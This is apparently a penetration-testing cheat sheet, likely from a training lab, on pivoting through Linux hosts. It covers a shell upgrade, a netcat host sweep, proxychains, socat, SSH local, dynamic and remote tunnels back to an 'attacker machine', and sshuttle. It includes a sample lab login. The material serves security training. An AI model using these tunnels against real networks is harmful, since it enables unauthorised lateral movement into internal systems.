1. Linux Port Forwarding


Tunneling Theory + SOCKS:

Port forwarding may need tty capabilities on target machine, so import with python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumerate hosts to tunnel to without nmap:

for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

Confirm the tunnel is working from another shell by listing listening ports:

ss -ntplu

Force packets over SOCKS with Proxychains:

#Edit /etc/proxychains4.conf to add the socket to the end:
socks5 <ip> <port>

#Prepend "proxychains -q -f <conf-file>" to the command to run, such as:
proxychains -q -f /etc/proxychains4.conf smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

Socat port forwarding:

socat -ddd TCP-LISTEN:<listeningport>,fork TCP:<forkip>:<forkport>

SSH Local Port Forwarding:

ssh -v -N -L 0.0.0.0:2345:<forkip>:<forkport> <sshuser>@<passthroughip>

SSH Dynamic Port Forwarding:

ssh -N -D 0.0.0.0:2345 <sshuser>@<passthroughip>

SSH Remote Port Forwarding

  1. Open SSH server on attacker machine:
sudo systemctl start ssh
  1. Check server is listening:
sudo ss -ntplu
  1. Set up SSH tunnel back to server on target:
ssh -N -R 127.0.0.1:2345:10.4.203.215:5432 crabfeather@192.168.45.180
  1. Force packets over SOCKS with Proxychains:
#Edit /etc/proxychains4.conf to add the socket to the end:
socks5 <ip> <port>

#Prepend "proxychains -q -f <conf-file>" to the command to run, such as:
proxychains -q -f /etc/proxychains4.conf smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
  1. Win!

SSH Remote Dynamic Port Forwarding:

  1. Open SSH server on attacker machine:
sudo systemctl start ssh
  1. Set up SSH tunnel back to server on target:
ssh -N -R 2345 crabfeather@192.168.45.180
  1. Win!

SSHuttle:

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24